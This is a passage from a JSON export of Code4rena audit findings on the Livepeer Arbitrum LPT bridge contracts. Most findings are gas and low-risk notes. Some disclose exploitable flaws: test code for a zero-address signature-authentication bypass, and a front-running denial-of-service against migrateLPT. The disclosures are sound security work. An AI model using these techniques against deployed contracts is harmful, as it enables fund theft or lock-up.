{ if (_amount > l2SupplyFromL1) { l2SupplyFromL1 = 0; } else { l2SupplyFromL1 -= _amount; // @audit unchecked } } // No event because the L2LPTGateway events are sufficient } ``` A similar change can be made here: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2LPTDataCache.sol#L91-L94 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Add the \"unchecked\" keyword as shown above. "}, {"title": "Constant variables using keccak can be immutable", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Changing the variables from constant to immutable will reduce keccak operations and save gas. A previous finding with additional explanation and a pointer to the ethereum/solidity issue is here: https://github.com/code-423n4/2021-10-slingshot-findings/issues/3 ## Proof of Concept These variables can simply be changed from `constant` to `immutable`: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L114 https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L116 https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L121 Additional changes are needed for these variables since they are used in the constructor: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L111 https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2Migrator.sol#L59 https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/token/LivepeerToken.sol#L9-L10 https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/ControlledGateway.sol#L13 Here's an example of the changes needed in the constructor for: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/ControlledGateway.sol#L13 ``` contract ControlledGateway is AccessControl, Pausable { bytes32 public immutable GOVERNOR_ROLE; address public immutable l1Lpt; address public immutable l2Lpt; constructor(address _l1Lpt, address _l2Lpt) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setRoleAdmin(GOVERNOR_ROLE = keccak256(\"GOVERNOR_ROLE\"), DEFAULT_ADMIN_ROLE); l1Lpt = _l1Lpt; l2Lpt = _l2Lpt; } function pause() external onlyRole(GOVERNOR_ROLE) { _pause(); } function unpause() external onlyRole(GOVERNOR_ROLE) { _unpause(); } } ``` ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Change the constant variables to immutable as described in the POC. "}, {"title": "Missing setter function for l2MigratorAddr", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/167", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle defsec # Vulnerability details ## Impact Based on the context, l2MigratorAddr should be able to be updated after deployment. However, there is no function to update it. On the L2Migrator.sol, l1MigratorAddr can be updated. (https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2Migrator.sol#L101) ## Proof of Concept 1. Navigate to the following contract variable. https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L141 ## Tools Used Code Review ## Recommended Mitigation Steps Consider to define function for setting l2MigratorAddr. "}, {"title": "Admin can rug L2 Escrow tokens leading to reputation risk", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Admin can rug L2 Escrow tokens leading to reputation risk"}, {"title": "Gas: Mark functions as payable when users can't mistakenly send ETH", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Gas: Mark functions as payable when users can't mistakenly send ETH"}, {"title": "L2LPTGateway descriptions to be corrected", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/157", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle hyh # Vulnerability details ## Proof of Concept In L2LPTGateway contract description the @title is L1LPTGateway In L2LPTGateway.outboundTransfer function's description there is '@param _data Contains sender and additional data to send to L1' line, while actually function allows no additional data "}, {"title": "MixinWrappers.batchRedeemWinningTickets doesn't check for supplied arrays length", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/155", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "MixinWrappers.batchRedeemWinningTickets doesn't check for supplied arrays length"}, {"title": "DelegatorPool.claim subtraction can be unchecked and done once", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on calculations and checks ## Proof of Concept (initialStake - claimedInitialStake) figure is calculated after require check, so the subtraction itself can be unchecked. Also, it is done twice now, can save the result to memory and use it. https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L2/pool/DelegatorPool.sol#L73 ## Recommended Mitigation Steps Consider calculating (initialStake - claimedInitialStake) one time and in unchecked scope. "}, {"title": "L2Migrator.claimStake attempts fee transfer without checking its possibility", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/153", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "L2Migrator.claimStake attempts fee transfer without checking its possibility"}, {"title": "Gas: `L2LPTDataCache.sol:l1CirculatingSupply()`, Storage variables should be cached", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept In `L2LPTDataCache.sol:l1CirculatingSupply()`, the code is as follows: ``` File: L2LPTDataCache.sol 88: function l1CirculatingSupply() public view returns (uint256) { 89: // After the first update from L1, l1TotalSupply should always be >= l2SupplyFromL1 90: // The below check is defensive to avoid reverting if this invariant for some reason violated 91: return 92: l1TotalSupply >= l2SupplyFromL1 93: ? l1TotalSupply - l2SupplyFromL1 94: : 0; 95: } ``` I suspect that statistically, the arithmetic operation `l1TotalSupply - l2SupplyFromL1` should often be triggered. Therefore, caching the 2 variables `l1TotalSupply` and `l2SupplyFromL1` in memory variables would save the 2 SLOADs (~200 gas) in the substraction and cost 4 MLOADs (~12 gas) and 2 MSTOREs (6 gas). It can be done this way, as an example: `(uint256 _l1TotalSupply, uint256 _l2SupplyFromL1) = (l1TotalSupply, l2SupplyFromL1);` ## Tools Used VS Code ## Recommended Mitigation Steps Cache `l1TotalSupply` and `l2SupplyFromL1` in local variables "}, {"title": "Gas: `L2LPTDataCache.sol:l1CirculatingSupply()`, strict comparison can avoid expensive operation", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost (2 SLOADs and 1 SUB are avoided with the suggested solution) ## Proof of Concept In `L2LPTDataCache.sol:l1CirculatingSupply()`, the code is as such: ``` File: L2LPTDataCache.sol 88: function l1CirculatingSupply() public view returns (uint256) { 89: // After the first update from L1, l1TotalSupply should always be >= l2SupplyFromL1 90: // The below check is defensive to avoid reverting if this invariant for some reason violated 91: return 92: l1TotalSupply >= l2SupplyFromL1 93: ? l1TotalSupply - l2SupplyFromL1 94: : 0; 95: } ``` Here, in the case of `l1TotalSupply == l2SupplyFromL1`, the substraction is equal to 0, but the computation is still done instead of return the already present 0 value. This could be avoided by making a strict comparison: ``` File: L2LPTDataCache.sol 91: return 92: l1TotalSupply > l2SupplyFromL1 93: ? l1TotalSupply - l2SupplyFromL1 94: : 0; ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use `>` instead of `>=` "}, {"title": "In `L2Migrator.sol:finalizeMigrateDelegator()`, Account `l2Addr`'s existence should be checked before call", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/149", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "In `L2Migrator.sol:finalizeMigrateDelegator()`, Account `l2Addr`'s existence should be checked before call"}, {"title": "Gas: `DelegatorPool.sol:claim()`, a repetitive arithmetic operation should be cached", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost (2 SLOADs and 1 SUB vs 1 MSTORE and 2 MLOADs) ## Proof of Concept In `DelegatorPool.sol:claim()`, the following calculation is done twice : ``` (X * _stake) / (initialStake - claimedInitialStake); where X is either currTotalStake or currTotalFees ``` While I understand a loss of precision could occur by caching the whole calculation, it's possible to save some gas (here, 2 SLOADs and 1 SUB) by caching the result of the denominator's substraction in a variable (`initialStake - claimedInitialStake`) and using this instead of computing the substraction twice. ## Tools Used VS Code ## Recommended Mitigation Steps Apply the refacto "}, {"title": "`Manager.sol:setController()` should be a two-step process", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/143", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "`Manager.sol:setController()` should be a two-step process"}, {"title": "Signature authentication bypass for ZERO address", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/142", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle kemmio # Vulnerability details ## Impact Vulnerability in requireValidMigration() function gives opportunity to authenticate on behalf of ZERO address (l1addr == ZERO) and migrate locked up bonds, delegators, sender ## Proof of Concept L1Migrator contract's functions migrateDelegator(), migrateUnbondingLocks(), migrateSender() use requireValidMigration() to authenticate the migration request, as can be seen in: https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L164-L173 https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L214-L228 https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L267-L274 requireValidMigration() checks if l2addr=ZERO and reverts in that's the case: https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L506-L509 Next it checks wether msg.sender==l1addr or tries to authenticate with signature otherwise: https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L510-L514 It calls recoverSigner() for that purpose which calls ECDS.recover to recover signing address, but before that it checks if signature is empty and returns address(0): https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L522-L524 This functionality can be abused to bypass authentication for ZERO address Proof of Concept: (add this tests to ./test/unit/L1/l1Migrator.test.ts and run \"yarn test test/unit/L1/l1Migrator.test.ts\" ) ``` it('migrates delegator for l1addr==ZERO auth', async () => { const sig = '0x'; let tx = l1Migrator .connect(notL1EOA) .migrateDelegator('0x0000000000000000000000000000000000000000', l1EOA.address, '0x', 0, 0, 0, { value: ethers.utils.parseEther('1'), }); await expect(tx).to.emit(l1Migrator,'MigrateDelegatorInitiated'); }); it('migrates unbonding locks for l1addr==ZERO auth', async () => { const sig = '0x'; let tx = l1Migrator .connect(notL1EOA) .migrateUnbondingLocks( '0x0000000000000000000000000000000000000000', l1EOA.address, [], '0x', 0, 0, 0, { value: ethers.utils.parseEther('1'), }, ); await expect(tx).to.emit(l1Migrator,'MigrateUnbondingLocksInitiated'); }); it('migrates sender for l1addr==ZERO auth', async () => { const sig = '0x'; let tx = l1Migrator .connect(notL1EOA) .migrateSender('0x0000000000000000000000000000000000000000', l1EOA.address, '0x', 0, 0, 0, { value: ethers.utils.parseEther('1'), }); await expect(tx).to.emit(l1Migrator,'MigrateSenderInitiated'); }); ``` ## Tools Used ## Recommended Mitigation Steps Remove these lines: https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L522-L524 "}, {"title": "Gas: Missing checks for non-zero transfer value calls", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Checking non-zero transfer values can avoid an external call to save gas. ## Proof of Concept Instances missing a non-zero check on amount transfered: ``` contracts\\sNOTE.sol:142: BALANCER_POOL_TOKEN.safeTransferFrom(msg.sender, address(this), bptAmount); contracts\\sNOTE.sol:150: NOTE.safeTransferFrom(msg.sender, address(this), noteAmount); contracts\\sNOTE.sol:178: WETH.safeTransferFrom(msg.sender, address(this), wethAmount); contracts\\sNOTE.sol:251: BALANCER_POOL_TOKEN.safeTransfer(msg.sender, bptToRedeem); contracts\\TreasuryAction.sol:113: COMP.safeTransfer(treasuryManagerContract, amountClaimed); contracts\\TreasuryAction.sol:140: IERC20(underlyingAddress).safeTransfer(treasuryManagerContract, redeemedExternalUnderlying); contracts\\TreasuryManager.sol:108: IERC20(token).safeTransfer(owner, amount); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Check if transfer amount > 0. "}, {"title": "Missing `_from` param comment on `LivepeerToken.sol:burn()`", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/140", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact The `_from` parameter comment is missing on `LivepeerToken.sol:burn()`. The impact is minimal, but as it's commented elsewhere (https://github.com/livepeer/arbitrum-lpt-bridge/blob/af952a58eff5ff84559e25f62e29f2a3d9e176f9/contracts/L2/gateway/L2LPTGateway.sol#L96), I figured I'd mention it. ## Proof of Concept https://github.com/livepeer/arbitrum-lpt-bridge/blob/e89be1431024d976b8c97bbe64ec4bdfeb28ec64/contracts/L2/token/LivepeerToken.sol#L32-L36 ``` File: LivepeerToken.sol 32: /** 33: * @dev Burns a specific amount of the sender's tokens 34: * @param _amount The amount of tokens to be burned 35: */ 36: function burn(address _from, uint256 _amount) 37: external 38: override 39: onlyRole(BURNER_ROLE) 40: { 41: _burn(_from, _amount); 42: emit Burn(_from, _amount); 43: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Add the missing comment "}, {"title": "Group related data into separate structs", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/138", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Group related data into separate structs"}, {"title": "Gas: Control flow optimization in `L2LPTDataCache.sol:decreaseL2SupplyFromL1()`", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept In `L2LPTDataCache.sol:decreaseL2SupplyFromL1()`, the code is as follows: ``` File: L2LPTDataCache.sol 57: function decreaseL2SupplyFromL1(uint256 _amount) external onlyL2LPTGateway { 58: // If there is a mass withdrawal from L2, _amount could exceed l2SupplyFromL1. 59: // In this case, we just set l2SupplyFromL1 = 0 because there will be no more supply on L2 60: // that is from L1 and the excess (_amount - l2SupplyFromL1) is inflationary LPT that was 61: // never from L1 in the first place. 62: if (_amount > l2SupplyFromL1) { 63: l2SupplyFromL1 = 0; 64: } else { 65: l2SupplyFromL1 -= _amount; 66: } 67: 68: // No event because the L2LPTGateway events are sufficient 69: } ``` However, this can be optimized : - Strict inequalities (`>`) are more expensive than non-strict ones (`>=`). This is due to some supplementary checks (ISZERO) - In this case here, if `_amount == l2SupplyFromL1`, `0` should be returned - Avoiding the else clause would avoid some opcodes (1 SUB, 1 SLOAD, 1 MLOAD) The code would become: ``` if (_amount >= l2SupplyFromL1) { l2SupplyFromL1 = 0; } else { l2SupplyFromL1 -= _amount; } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use the non-strict greater-than operator in this particular case "}, {"title": "Avoiding unnecessary repeated account balance read can save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/livepeer/protocol/blob/20e7ebb86cdb4fe9285bf5fea02eb603e5d48805/contracts/token/BridgeMinter.sol#L90-L98 ```solidity function withdrawETHToL1Migrator() external onlyL1Migrator returns (uint256) { uint256 balance = address(this).balance; // call() should be safe from re-entrancy here because the L1Migrator and l1MigratorAddr are trusted (bool ok, ) = l1MigratorAddr.call.value(address(this).balance)(\"\"); require(ok, \"BridgeMinter#withdrawETHToL1Migrator: FAIL_CALL\"); return balance; } ``` At L94, `address(this).balance` can be replaced with `balance` to avoid unnecessarily repeated read of account balance state to save some gas. "}, {"title": "Inline unnecessary internal function can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Inline unnecessary internal function can make the code simpler and save some gas"}, {"title": "`DelegatorPool.sol#claim()` Use inline expression can save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/pool/DelegatorPool.sol#L70-L78 ```solidity // Calculate stake owed to delegator uint256 currTotalStake = pendingStake(); uint256 owedStake = (currTotalStake * _stake) / (initialStake - claimedInitialStake); // Calculate fees owed to delegator uint256 currTotalFees = pendingFees(); uint256 owedFees = (currTotalFees * _stake) / (initialStake - claimedInitialStake); ``` The local variable `currTotalStake`, `currTotalFees` is used only once. Making the expression inline can save gas. Similar issue exists in `L2Migrator.sol#claimStake()`, `L1Migrator.sol#migrateETH()`, `L1Migrator.sol#migrateLPT()`, `L1ArbitrumMessenger.sol#onlyL2Counterpart()`. ### Recommendation Change to: ```solidity // Calculate stake owed to delegator uint256 owedStake = (pendingStake() * _stake) / (initialStake - claimedInitialStake); // Calculate fees owed to delegator uint256 owedFees = (pendingFees() * _stake) / (initialStake - claimedInitialStake); ``` "}, {"title": "Changing bool to uint256 can save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Changing bool to uint256 can save gas"}, {"title": "Check of `!migratedDelegators[delegator]` can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details When there are multiple checks, adjusting the sequence to allow the tx to fail earlier can save some gas. Checks using less gas should be executed earlier than those with higher gas costs, to avoid unnecessary storage read, arithmetic operations, etc when it reverts. For example: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2Migrator.sol#L255-L275 ```solidity require( claimStakeEnabled, \"L2Migrator#claimStake: CLAIM_STAKE_DISABLED\" ); IMerkleSnapshot merkleSnapshot = IMerkleSnapshot(merkleSnapshotAddr); address delegator = msg.sender; bytes32 leaf = keccak256( abi.encodePacked(delegator, _delegate, _stake, _fees) ); require( merkleSnapshot.verify(keccak256(\"LIP-73\"), _proof, leaf), \"L2Migrator#claimStake: INVALID_PROOF\" ); require( !migratedDelegators[delegator], \"L2Migrator#claimStake: ALREADY_MIGRATED\" ); ``` The check of `!migratedDelegators[delegator]` can be done earlier to avoid reading from storage when `migratedDelegators[delegator] == true`. ## Recommendation Change to: ```solidity require( claimStakeEnabled, \"L2Migrator#claimStake: CLAIM_STAKE_DISABLED\" ); address delegator = msg.sender; require( !migratedDelegators[delegator], \"L2Migrator#claimStake: ALREADY_MIGRATED\" ); IMerkleSnapshot merkleSnapshot = IMerkleSnapshot(merkleSnapshotAddr); require( merkleSnapshot.verify(keccak256(\"LIP-73\"), _proof, leaf), \"L2Migrator#claimStake: INVALID_PROOF\" ); bytes32 leaf = keccak256( abi.encodePacked(delegator, _delegate, _stake, _fees) ); ``` "}, {"title": "Setting `uint256` variables to `0` is redundant", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "Setting `uint256` variables to `0` is redundant"}, {"title": "`BridgeMinter.sol:migrateToNewMinter()`'s `transferOwnership` should be a two-step process", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/122", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "`BridgeMinter.sol:migrateToNewMinter()`'s `transferOwnership` should be a two-step process"}, {"title": "No checks around poll voting mechanism", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/121", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "No checks around poll voting mechanism"}, {"title": "Name reuse", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/119", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Name reuse"}, {"title": "EIP2612 in token problematic", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/118", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "EIP2612 in token problematic"}, {"title": "Custom GOVERNOR_ROLE unnecessary", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The ControlledGateway.sol contract specifies a custom \"GOVERNOR_ROLE\" value that is assigned to the _msgsender when the contract is deployed. There is no need to create a custom role when only one role is used in the contract. This custom \"GOVERNOR_ROLE\" could be replaced with the built-in \"DEFAULT_ADMIN_ROLE\" value, which is the approach in the contract L1/escrow/L1Escrow.sol. ## Proof of Concept The custom role is created [on line 13 of ControlledGateway.sol](https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/ControlledGateway.sol#L13) ## Recommended Mitigation Steps Remove the GOVERNOR_ROLE role in ControlledGateway.sol and use the built-in DEFAULT_ADMIN_ROLE role to save gas "}, {"title": "Revert string > 32 bytes", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact Strings are broken into 32 byte chunks for operations. Revert error strings over 32 bytes therefore consume extra gas as [documented publicly](https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6#c17b) ## Proof of Concept There are multiple examples of this gas optimization opportunity, including but not limited to: - TreasuryAction.sol [line 41](https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/TreasuryAction.sol#L41) ## Recommended Mitigation Steps Reducing revert error strings to under 32 bytes decreases deployment time gas and runtime gas when the revert condition is met. Alternatively, the code could be modified to use custom errors, introduced in Solidity 0.8.4: https://blog.soliditylang.org/2021/04/21/custom-errors/ "}, {"title": "`initialize` function can be called by everyone and front-run in `DelegatorPool.sol`", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "`initialize` function can be called by everyone and front-run in `DelegatorPool.sol`"}, {"title": "Prevent accidentally burning tokens", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/111", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Prevent accidentally burning tokens"}, {"title": "Missing event & timelock for critical only* functions", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/107", "labels": ["bug", "0 (Non-critical)", "resolved"], "target": "2022-01-livepeer-findings", "body": "Missing event & timelock for critical only* functions"}, {"title": "Drop the token parameter from since it can only be the same value", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Drop the token parameter from since it can only be the same value"}, {"title": "L1Migrator.migrateLPT` can be used to take away protocol's access to LPT tokens in BridgeMinter", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/97", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle\r \r Ruhum\r \r \r # Vulnerability details\r \r # Vulnerability details\r \r ## Impact\r Same thing as the ETH issue I reported earlier. I wasn't sure if those are supposed to be a single issue or not. The concept is the same. But, now you lose LPT tokens.\r \r The `L1Migrator.migrateLPT()` function can be called by **anyone**. It pulls all the LPT from the `BridgeMinter` contract and starts the process of moving the funds to L2. First of all, this function is only executable once. The RetryableTicket created with the first call is the only chance of moving the funds to L2.\r \r The attacker can call the function with [parameters](https://developer.offchainlabs.com/docs/l1_l2_messages#parameters) that make the creation of the RetryableTicket on L2 fail. Thus, the LPT sits in the L1Migrator contract with no way of moving it to L2 or anywhere else. Effectively, the funds are lost.\r \r ## Proof of Concept\r The function is only executable once because it uses the `amount` returned by `IBridgeMinter(bridgeMinterAddr).withdrawLPTToL1Migrator()` to specify the amount of LPT to be sent to L2: https://github.com/livepeer/arbitrum-lpt-bridge/blob/main/contracts/L1/gateway/L1Migrator.sol#L342\r \r After the first call to `migrateLPT()` that function will always return 0 since the `BridgeMinter` won't have any more LPT: https://github.com/livepeer/protocol/blob/streamflow/contracts/token/BridgeMinter.sol#L107\r \r So after the attacker called `migrateLPT()` with insufficient funds to create a RetryableTicket on L2 we have the following state:\r - BridgeMinter has 0 LPT\r - L1Migrator has X amount of LPT that is not accessible. There are no functions to get the LPT out of there.\r - 1 failed RetryTicket\r \r The same thing can also be triggered by a non-malicious caller by simply providing insufficient funds. The whole design of only being able to try once is the issue here.\r \r ## Tools Used\r none\r \r ## Recommended Mitigation Steps\r Instead of using the `amount` returned by `IBridgeMinter(bridgeMinterAddr).withdrawLPTToL1Migrator()` you should use the balance of the `L1Migrator` contract.\r \r It might also make sense to **not** allow anybody to call the function. I don't see the benefit of that.\r \r `EDIT` Actually, the funds aren't lost. The funds are sent to the Escrow contract which can be used to transfer the funds back to the BridgeMinter contract. Thus, you could reset the whole thing to its initial state and call `L1Migrator.migrateLPT()` again. But, a really persistent attacker has the ability to DoS the function by frontrunning any call to it which results in the RetryableTicket failing again. Thus, you'd have to transfer the funds from the Escrow contract to the BrigeMinter again and so on.\r \r So the same scenario I've outlined earlier is still viable. It's just a bit more difficult now since it has a higher cost for the attacker now. Because of that I think it's an medium issue instead of high.\r \r Also, the mitigation steps I've given aren't valid. You can't use the `L1Migrator` contract's balance since it will always be 0 (the funds are sent to the Escrow contract). Thus the best solution would be to just limit the access to the function."}, {"title": "Gas optimization - remove method in DelegatorPool", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Gas optimization - remove method in DelegatorPool"}, {"title": "Front running in LivepeerToken", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/91", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Front running in LivepeerToken"}, {"title": "Possible frozen gateway", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Possible frozen gateway"}, {"title": "ERC20 Approval Race Condition", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/85", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "ERC20 Approval Race Condition"}, {"title": "Lack of event", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Users and dapps are not notified when someting important is changed. ## Proof of Concept Functions that are only executable by privileged users (e.g. onlyOwner) and have an impact (e.g. financial, trust) on other users should emit events. - contracts\\L1\\gateway\\L1LPTGateway.sol : [setCounterpart,setMinter]. - 